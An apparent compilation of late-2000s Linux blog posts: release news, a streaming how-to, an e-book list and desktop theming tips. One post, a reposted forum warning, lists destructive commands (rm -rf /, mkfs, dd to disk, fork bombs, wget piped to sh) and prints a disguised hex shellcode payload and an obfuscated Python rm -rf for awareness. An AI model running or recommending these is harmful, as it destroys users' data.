Ubuntu Intrepid Ibex 8.10 Is NOW OUT! Grab it now!

Waiting is now over! Ubuntu Intrepid Ibex 8.10 is now out!
Download your copy now or upgrade your current ubuntu system!

More power to ubuntu!

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Released: Android Source Code

Android is the first free, open source, and fully customizable mobile platform. Android offers a full stack: an operating system, middleware, and key mobile applications. It also contains a rich set of APIs that allows third-party developers to develop great applications.


To get started with the source code, see Get source.

If you are an application developer, visit the Android SDK site.

Link: http://source.android.com/

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Nexxt Ubuntu after : 'Jaunty Jackalope'

The Ubuntu project has detailed plans for the April 2009 version of its Linux distribution, continuing its habit of naming its software after animals by dubbing Ubuntu 9.04 "The Jaunty Jackalope."

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gOS's new Linux OS with Google applications

gOS--a company known for its debut in the US$199 Wal-Mart gPC and Netbooks--announced Wednesday the details of gOS 3 Gadgets, the newest version of its Linux operating system for consumers.

The San Francisco-based company made the announcement at LinuxWorld Expo.

gOS 3 Gadgets' start-up screen.

The main feature of gOS 3 Gadgets is its ability to instantly launch Google Gadgets for Linux on start-up, allowing users access to more than 100,000 iGoogle and Google Gadgets applications. These applications, though graphically rich, are small enough to be added to the computer in seconds over an Internet broadband connection. The new operation system will also be loaded with WINE 1.0, Lightweight X Desktop Environment (LXDE), and other Google software for Linux to improve the user experience.

While WINE has been known to allows users to use thousands of Windows applications on Linux platform, LXDE is a renewed effort to develop more lightweight desktop applications for Linux environment. By supporting LXDE, gOS 3 Gadgets, apart from desktops, would also make a good choice for ultra small mobile laptops, which are generally suffer from having slow hard drives and processors.

In addition to Google Gadgets for Linux, gOS 3 Gadgets can also run other Google applications more well-known in Windows platform including Google Desktop, Google Picasa, Google Earth and Google Maps. In the new gOS 3 Gadgets, other Google's web-based applications such as Documents, Calendar, and Mail launch have a closer appearance and functionality to desktop applications than other platforms.

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How to Watch Live Olympics on Linux

Here's how you can watch the Olympics live on Linux:

Step 1: Get VLC
Ubuntu:

sudo apt-get install vlc

Other distros; go to http://www.videolan.org/vlc/

Step 2: Get sopcast, extract it and go to its folder

wget http://download.sopcast.cn/download/sp-auth.tgz
tar xvzf sp-auth.tgz
cd sp-auth

Step 3: Launch p2p sopcast stream
Usage:
./sp-sc-auth sop://[sopcasturl] [shareport] [streamport] > /dev/null &
List of streams: http://www.sopcast.org/channel/
Full list in XML: http://www.sopcast.com/chlist.xml
More streams on Google
Note: Not all streams have audio
Note 2: If sp-auth is giving out an error, you might need to download the stdc++5 library link: http://www.sopcast.com/download/libstdcpp5.tgz
Example:

./sp-sc-auth sop://broker1.sopcast.com:3912/48608 3904 8904 > /dev/null &

Step 4: Fire-up VLC, open network stream http://localhost:[streamport]/tv.asf
Note: you might have to wait 20 seconds or so before it allows you to connect to the stream

Screenshots:

VLC open screen:

In action:

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Super Mario War 1.8 Beta 1 Released!

SMW is a fun, addicting open-source multiplayer game tribute to Nintendo.

Super Mario War is a Super Mario multiplayer game.
The goal is to stomp as many other Marios as possible to win the game.
It's a tribute to Nintendo and the game Mario War by Samuele Poletto.

The game uses artwork and sounds from Nintendo games. We hope that this noncommercial fangame qualifies as fair use work. We just wanted to create this game to show how much we adore Nintendo's characters and games.

It is finally here! Here is SMW 1.8 Beta 1 for PC:
http://www.fileden.com/files/2007/9/11/1425938/smw-1.8-beta1-bin.zip - Currently down.
http://srpgp.supersanctuary.net/smw-1.8-beta1-bin.zip

Mac OS X port:
http://www.mediafire.com/?biupixt4imy

Linux port:
http://srpgp.supersanctuary.net/smw-1.8 ... ary.tar.gz

The xbox build is available in the usual places...

Sourced: http://smw.72dpiarmy.com/

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Wine 1.0 RC3 Released

"What's new in this release (see below for details):
- Bug fixes only, we are in code freeze."

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Bugs fixed in 1.0-rc3:

2368 Wine loses its X-Window when switching to another virt. desktop in Fvwm
4468 advapi32: Fulltilt Poker hangs (GetCurrentHwProfileA is a stub)
4652 Adobe Dreamweaver MX 2004 installs well but does not run.
6206 riched20:Live Person crashes
7214 wine_dbg_vprintf: debugstr buffer overflow (contents: 'err:msvcrt:demangle_datatype Unknown type ')
7318 supertux 0.3 freezes (dsound bug)
7904 C&C 3 setup displays empty window
7979 S.t.a.l.k.e.r. - some objects appear over-bright or too dark
8043 Dreamfall: speech gets skipped in dialogues
8129 Acomba: Freezes after closing an unsaved invoice
8408 unimplemented function ntoskrnl.exe.memset
9799 Textures on vehicles are too dark in GTA Vice City!
10025 Cyrillic glyphs are missing in built-in Tahoma Bold
11248 fixme:winsock:WSASocketW Unsupported socket family -1!
11389 ABBYY FineReader 7.0 Professional Edition crashes at start
11822 All applications over VNC: Applications freeze for any letters input
11914 DestroyContext in dlls/wined3d/device.c causes regression in Everquest2
11929 Audiosurf: Questviewer.exe crashes with page fault.
11989 Arindal.exe Text-Windows not displayed correctly
11991 OpenGL regression in Hitman 2 and Hitman 3
12192 SupCom Addon: No units visible
12322 Sacrifice game crashes in full screen mode
12455 Warcraft III 1.21b - Crashes with Fatal Error on Switch Desktop
12540 Favourites menu doesn't work as expected
13102 WinterMute Engine drawing window bug
13120 dzh2 crashes on startup
13148 Guitar Pro 5 Crashes (maybe audio problem)
13154 Jedi Academy: launcher freezes when button clicked
13277 Return to Mysterious Island crashes
13342 Winedbg doesn't handle longlong's well
13372 Adobe Acrobat Pro 8 / Acrobat Reader 8 -- install fails
13395 Guild wars not start
13403 fcc hangs , unless using native dbghelp
13420 Hang on first keypress
13475 Sytray icon totally transparent
13476 SQLyog community edition : Cannot connect to a remote DB through gSTM tunnel

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KDE 4.0 Released

The so much awaited KDE 4.0 is now released, and the KDE 4 era is now begun.

With the new features to dig on and lots of improvements between user and applications.

Lots of KDE Applications have seen improvements as well. Visual updates through vector-based artwork, changes in the underlying libraries, user interface enhancements, new features, even new applications -- you name it, KDE 4.0 has it. Okular, the new document viewer and Dolphin, the new file manager are only two applications that leverage KDE 4.0's new technologies.

Desktop

* Plasma is the new desktop shell. Plasma provides a panel, a menu and other intuitive means to interact with the desktop and applications.
* KWin, KDE's proven window manager, now supports advanced compositing features. Hardware accelerated painting takes care of a smoother and more intuitive interaction with windows.
* Oxygen is the KDE 4.0 artwork. Oxygen provides a consistent, easy on the eye and beautiful artwork concept.

Applications

* Konqueror is KDE's established web browser. Konqueror is light-weight, well integrated, and supports the newest standards such as CSS 3.
* Dolphin is KDE's new file manager. Dolphin has been developed with usability in mind and is an easy-to-use, yet powerful tool.
* With System Settings, a new control center interface has been introduced. The KSysGuard system monitor makes it easy to monitor and control system resources and activity.
* Okular, the KDE 4 document viewer, supports many formats. Okular is one of the many KDE 4 applications that has been improved in collaboration with the OpenUsability Project.
* Educational Applications are among the first applications that have been ported and developed using KDE 4 technology. Kalzium, a graphical periodic table of elements and the Marble Desktop Globe are only two of many gems among the educational applications. Read more about Educational Applications in the Visual Guide.
* Lots of the KDE Games have been updated. KDE Games such as KMines, a minesweeper game and KPat, a patience game have had facelifts. Thanks to new vector artwork and graphical capabilities, the games have been made more resolution independent.

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Linux Commands Line Version 1.0

Copy and paste and save this over 350 linux commands found on LinuxGuide
The most complete and updated list of commands on linux. A great commands references for your linux computing needs. :D

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Transmission 1.00 is now released

The Transmission BitTorrent client 1.00 is now released. The lightweight but powerful BitTorrent client, with it's sleek design, simple, user-friendly interface that integrate tightly with whatever computing environment you choose from to use. Above all this, it's free for anyone to use or modify as it's Open Source.

Get it HERE.

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iPhone-like Linux phone

Neo 1973: Free Your Phone.
Linux users will now enjoy the first linux based smart phone brought us by FIC.
As of now they selling the developer's kit of it, for those mobile device hacker who wants to get down and dirty with the first freed phone.

This is a Developer Version The Consumer-ready hardware will be available around year's end, with Consumer-ready software to follow some time after that. If you are a Developer, jump in, the water's fine. If you do not know how to program, please consider waiting for the Consumer-ready hardware and software.

I want to have this phone, but of course till when it's fully consumer ready. I suggest put some camera on it. :D

Developer's site: Here

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68 Linux Related Free E-books

I found it HERE

1. Advanced Linux Programming by CodeSourcery LLC
2. Comprehensive Linux Textbook by Muayyad Saleh Al-Sadi
3. Java Application Development on Linux by Carl Albing and Michael Schwarz (PDF)
4. Linux Client Migration Cookbook, Version 2: A Practical Planning and Implementation Guide for Migrating to Desktop Linux by Chris Almond



5. Linux Compute Clusters by Chander Kant
6. The Linux Cookbook: Tips and Techniques for Everyday Use by Michael Stutz
7. Linux Device Drivers by Alessandro Rubini and Jonathan Corbet
8. Linux Installation and Getting Started by Matt Welsh
9. Linux Kernel Module Programming Guide by Ori Pomerantz
10. Linux Network Administrator’s Guide by Olaf Kirch and Terry Dawson
11. Securing and Optimizing Linux by Gerhard Mourani
12. Self-Service Linux: Mastering the Art of Problem Determination by Dan Behman and Mark Wilding
13. Slackware Linux Essentials by Alan Hicks, Chris Lumens, David Cantrell, and Logan Johnson
14. Linux Admins Security Guide
15. Linux Security Howto
16. Linux Firewall Configuration, Packet Filtering & netfilter/iptables
17. Linux Device Drivers, Third Edition
18. GNU Bash Reference Manual
19. Knowing Knoppix
20. Linux Client Migration Cookbook
21. Vi iMproved (VIM)
22. Linux: Rute User’s Tutorial and Exposition
23. The Book of Webmin
24. Linux From Scratch
25. GNU Emacs manual
26. Writing GNOME Applications
27. KDE 2.0 Development
28. GTK+/Gnome Application Development
29. GNU Autoconf, Automake and Libtool
30. Advanced Linux Programming
31. Secure Programming for Linux and Unix
32. The Art of Unix Programming
33. The Linux Development Platform
34. C++ GUI Programming With Qt 3
35. Unofficial Ubuntu Guide
36. The Easiest Linux Guide You’ll Ever Read - An Introduction to Linux for Windows users
37. SUSE Linux Administration Guide
38. Red Hat Enterprise Linux Installation Guide
39. Red Hat Enterprise Linux Reference Guide
40. Red Hat Enterprise Linux Step By Step Guide
41. Fedora Linux EssentialsVisual Basic Essentials
42. Fedora Core 7 Desktop Guide
43. Ubuntu Linux Essentials
44. PHP Essentials
45. Javascript Essentials
46. Red Hat Fedora Core 7 Installation Guide
47. The Art of Unix Programming
48. Bash Guide for Beginners
49. Beyond Linux from Scratch
50. The Book of Webmin Or: How I Learned to Stop Worrying and Love UNIX
51. Brian and Tom’s Linux Book
52. Debian GNU/Linux Desktop Survival Guide
53. Debian GNU/Linux System Administrator’s Manual
54. Everyday Linux
55. FreeBSD HandbookGNU Manuals OnlineIn The Beginning Was The Command Line
56. Introduction to Linux - A Hands on Guide
57. LDAP Operations HOWTOLearning Debian GNU/Linux
58. Learning the Unix Operating System
59. Linux Administration Made Easy
60. Linux Dictionary
61. The Linux kernel
62. Linux Kernel 2.4 Internals
63. The Linux Kernel Module Programming Guide
64. LINUX: Rute User’s Tutorial and Exposition
65. Maximum RPM, Taking the Red Hat Package Manager to the Limit
66. Pocket Linux Guide
67. Secure Programming for Linux and Unix HOWTO
68. Linux+ Study Guide

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WARNING: Ubuntu Malicious Commands

Theres been an increased on malicious commands post or guides on some forums, sites or blog, specially on Ubuntu forums. This commands are dangerous, they can cause massive damage or disruption to the user's computer.

I'd also like to remind users to be cautious when someone tells you to run some command or download some script as a solution to your problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained to you and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). No matter how hard we try to stay on top of all posts in realtime, we are not perfect.

From Ubuntu Forum Staff

Below are some list of dangerous commands for educations of us users.

Caution: These are extremely dangerous and should not be attempted on a computer that has any connection to valuable data. Just look at it for awareness, BUT DO NOT RUN.

Caution: Be aware of some long procedure commands that might disguise the dangerous commands that you might find on solutions over the net. Be cautions of yourself when something just doesn't feel right.

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Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute. Code: rm -rf / rm -rf . rm -rf * Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem. Code: mkfs mkfs.ext3 mkfs.anything Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data: Code: any_command > /dev/sda dd if=something of=/dev/sda Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates. In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes) Code: :(){:|:&};: In Perl Code: fork while fork Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust Code: wget http://some_place/some_file sh ./some_file Code: wget http://some_place/some_file -O- | sh Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address). A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload: Code: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out. Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not! For example, 30 seconds in Python yields something like this: Code: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong. __________________

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Running IE On Linux -- And Running Windows XP For Free (Sort Of)

Yes, I know the headline sounds like the fodder for a joke: "Run IE on Linux? Why would you want to?" But there are circumstances where it's unavoidable -- compatibility testing, or accessing IE-only sites without dual-booting -- and in the last few weeks I've come across a couple of interesting approaches to this issue.

The first approach is a script called IEs4Linux by Brazilian programmer Sérgio Luís Lopes Júnior, which is essentially a way to install IE from its original cabinet files and run it under Wine. Specific instructions are included for all the major distributions -- Ubuntu, Fedora, Debian, SUSE, PCLinuxOS, and others -- and each step of the instructions are spelled out in clear detail. IE7 isn't fully supported, but a beta version of the script accomplishes a nifty trick -- it places the IE7 rendering engine inside the IE6 user interface. Keep in mind that in the disclaimer for the project notes, it's mentioned that you need to have at least one valid Windows license to install IE to be in full compliance with the EULA. (I also imagine it's now that much easier to pull all this off since IE7 no longer requires WGA to work.)

Another way to run IE on Linux comes courtesy of Microsoft (NSDQ: MSFT) itself, sort of. If you're running Microsoft Virtual PC or using VMWare (which can convert Microsoft's .VHD format) you can download a virtual machine image from Microsoft that contains a preactivated installation of Windows XP with Service Pack 2, preloaded with your choice of Internet Explorer 6 or Internet Explorer 7, and use it in the VMWare Player. The image in question is timed to expire on Dec. 7, 2007, but I've seen previous editions of this VHD offered before, and each time it's about to expire Microsoft has offered a refreshed version which times out in about 4-6 months.

If you've got other approaches to this particular problem (sorry, "just use Firefox" doesn't count here), feel free to share them.

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Ubuntu Customization

Recently I migrated to Ubuntu Gutsy Gibbon, the lates version of Ubuntu.

I'd found many customization guide over the net. Just now, i found this great guide tag as Ubuntu Customization Guide v2.

Changes are part of Nature so as with Technology.. Though this cannot be True for Windows and Mac cause the life cycle of a single Version is too much which is not the case with Linux.. Open Source evolve at very rapid rate and with evolution comes new & special changes … Today with a hike in Linux acceptance its pretty hard for competitors to provide similar solutions at free of cost. Open Source is known for User Interaction with Operating System which cannot be done with other OS. Linux user can customize, create, edit, add files according to his/her taste..and customization is the part where Linux is one step ahead of every OS.. You need not to search for poorly written Customization Packs.. What you need is just follow the guide and pimp up your desktop as you like. .. The guide will focus on a particular area but you can customize your desktop using the way mentioned and adding your own idea…
With Gusty Gibbon packed with latest tools and great support couple with new gGun Gnome 2.20, I was adamant to write another Customization Guide..Since M$ launched Vista and Apple launched Leopard quite a while ago so I’ll let you know how to customize your Ubuntu to Vista and Leopard.. Added with few new Customization that I used it…
I have tried to kept the guide as simple as I can so that even a newbie can understand how to make changes.There are few major changes in Ubuntu Themes and Icon Control Panel so please read carefully so that you can get everything..

The 3 themes transformation:

1. Leopard OSX

Files links:

Fos OSX Old

• GTX 2.x Theme : - OSX Theme
• Icon Set :- Clearlooks OSX
• Cursor : - Shere-Khan
• Emerald Theme :- OSX Emerald theme.
• GDM Theme :- Mac OSX GDM
• GTK Splash : - Mac – Splash.

For OSX Leopard Customization

• GTK 2.x Theme : - Mac 4 Lin. Aqua [ Tweaked ]
• Icon Set : - Leopard X
• Cursor : - Shere-Khan
• Emerald Theme :- Mac 4 Lin Lepoard
• GDM Theme : - Mac OSX GDM.
• GTK Splash : Leopard Splash

2. Vista Leopard

Files:

• GTK 2.x Theme : - Vista Theme
• Icon Set : - nuoveXT 2.20 | Clearlooks OSX
• Cursor : - Aero Cursor
• Emerald Theme :- Aero Emerald
• GDM Theme : - Vista GDM.
• GTK Splash : Vista Splash

3. New Ubuntu Customization


Files:

• GTK 2.x Theme : - Default Human Theme
• Icon Set : - Gnome Elephant Savane | Crashbit RC
• Cursor : - Default Cursor.
• Emerald Theme :- Human Tiger | New Human
• GDM Theme : - Orange Ubuntu.
• GTK Splash : Gusty Splash

Dark Ubuntu


Files:

• GTK 2.x Theme : - Dark Ice
• Icon Set : - Lynx Black | Blend Crystal 2.0
• Cursor : - DMZ Black [ Pre-Installed] | Shere Khan
• Emerald Theme :- Black Centered
• GDM Theme : - Black GDM
• GTK Splash : Black Splash.

Docks and Desklets

A cool desktop without Desklets and a cool Dock cannot be consider cool cause main eye candy if being provided by these Utils only.. In this part I’ll guide you Installing Dock and Desklets Manager.. The Dock I will install is the most stable and is frequently updated know as AWN or Avant Windows Navigator is the best dock available for Linux So lets take a look at the Installation Steps of AWN and Desklets manager I’ll use is Screenlets since Gusty comes with Compiz by default user will not face problem with transparency and all….

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